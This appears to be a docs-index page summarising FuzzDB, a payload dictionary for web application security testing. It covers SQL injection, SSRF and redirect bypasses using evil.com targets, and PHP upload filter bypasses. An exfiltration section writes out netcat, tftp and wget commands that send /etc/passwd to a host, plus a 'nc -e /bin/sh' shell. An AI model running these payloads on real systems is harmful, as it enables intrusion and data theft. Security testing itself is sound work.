DOCSEARCHbyAlgolia
Submit Docs

FuzzDB

repository·master·Indexed 27 days ago

https://github.com/fuzzdb-project/fuzzdb

An open dictionary of fault injection patterns, predictable resource locations, and regex for matching server responses. It is designed to enhance dynamic application security testing (DAST) with patterns for authentication fuzzing, directory traversal, source code disclosure, Denial of Service via malicious images, file upload filter bypasses, LFI, NoSQL injection, and OS command execution.

Tokens
8.2K
Snippets
18
Records
52
Agent score
94%

What's inside FuzzDB

  1. Overview of FuzzDB capabilities

    master

    FuzzDB is a comprehensive dictionary used for dynamic application security testing. It is organized into three primary functional areas:

    1. Attack Patterns: Lists of attack payload primitives for fault injection (e.g., OS command injection, XSS, SQL injection, NoSQL injection, directory traversal, etc.).
    2. Discovery: Dictionaries of predictable filepaths, logfiles, and administrative directories, sorted by platform, language, and application to facilitate brute-force testing.
    3. Response Analysis: A set of regex pattern dictionaries used to match server responses for error messages or sensitive information like credit card numbers and social security numbers.

    Additionally, the repository contains webshells, common username/password lists, and supplementary documentation.

  2. Use Unicode attack patterns from Big List of Naughty Strings

    master

    The Unicode attack patterns in this directory are derived from the big-list-of-naughty-strings project. These strings are designed to test how applications handle various Unicode characters, including those that might cause unexpected behavior in parsing, rendering, or security logic (e.g., right-to-left overrides, zero-width characters, or unusual whitespace).

    https://github.com/minimaxir/big-list-of-naughty-strings

  3. Use MSSQL SQL injection detection payloads

    master

    The MSSQL.fuzz.txt file contains payloads designed for detecting SQL injection vulnerabilities in Microsoft SQL Server (MSSQL) environments.

    Note: To achieve the best results during testing, you must manually customize or modify specific values within the payload queries to match the target application's context (e.g., adjusting table names, column names, or syntax requirements).

  4. Apply testing techniques for redirect bypass and SSRF

    master

    When testing for redirect vulnerabilities, use the following techniques to bypass filters or identify related issues:

    Filter Bypass

    • Decimal IP Notation: If the filter strips periods (e.g., converting evil.com to evilcom), convert the target IP address to its decimal notation form.
    • URL Encoding: Try URL-encoding the replacement value for the {target} placeholder.

    Identifying SSRF (Server-Side Request Forgery)

    If using redirect-injection-template.txt results in the server proxying a request to the injected URL and returning its contents (instead of performing a client-side redirect), the application may be vulnerable to SSRF. This can be used to:

    • Explore the server's localhost ports for web services.
    • Access protected systems in a DMZ.
    • Interact with REST interfaces via GET requests.

  5. Bypass PHP filters on Microsoft and Cross-Platform environments

    master

    For PHP bypasses, use file-ul-filter-bypass-ms-php.fuzz.txt (Microsoft specific) or file-ul-filter-bypass-x-platform-php.fuzz.txt (Cross-platform).

    Technique: Metadata Injection

    1. Use exiftool to create a .jpg image with a PHP payload in the meta comment field: <?php phpinfo(); ?>
    2. In the file-ul-filter-bypass-x-platform-php.fuzz.txt payload, regex replace the token {PHPSCRIPT} with the name of your uploaded .jpg file.

  6. Discover absolute file paths via invalid filename errors

    master

    If you do not know the absolute path where the file uploader stores files, use invalid filename fuzzfiles to trigger error messages that may reveal the path.

    • Windows/Microsoft: Use invalid-filenames-microsoft.fuzz.txt or invalid-filesystem-chars-microsoft.fuzz.txt. Replace {EXT} with an allowed extension type.
    • Linux: Use invalid-filenames-linux.fuzz.txt to attempt to cause error conditions that reveal absolute paths.

  7. Exfiltrate files and data

    master

    Use the following methods to move data from a target host to an attacker-controlled host:

    • Netcat (NC): echo /etc/passwd | nc host port or nc -e /bin/sh
    • TFTP: echo put /etc/passwd | tftp host
    • WGET: wget --post-file /etc/passwd
    • FTP: Redirect output to an FTP command sequence.
    'nc -e /bin/sh'
'echo /etc/passwd  | nc host port'
'echo put /etc/passwd | tftp host'
'wget --post-file /etc/passwd'

  8. Use redirect injection patterns for filter bypass

    master

    The redirect-injection-template.txt file contains patterns designed to bypass input validation filters that attempt to restrict redirects to relative links or the same origin.

    To use these patterns, replace the {target} placeholder in the template files with your desired destination, such as an IP address, hostname, or path.

    Example targets:

    • evil.com
    • evil.com/badurl
    • 1.2.3.4
    • 134744072 (decimal notation)
    Replace {target} in files with ip or hostname and path, Examples: 
* evil.com 
* evil.com/badurl
* 1.2.3.4 
* 134744072

  11. Explore LDAP Blind Injection tools and resources

    master

    For testing LDAP blind injection vulnerabilities, you can use the following external resources:

  12. Access WAF Evasion Regexp Security Cheatsheet

    master

    FuzzDB provides a Regexp security cheatsheet specifically designed for WAF (Web Application Firewall) evasion. This resource contains regular expressions and patterns used to test or bypass security filters.

    https://github.com/attackercan/regexp-security-cheatsheet/blob/master/README.md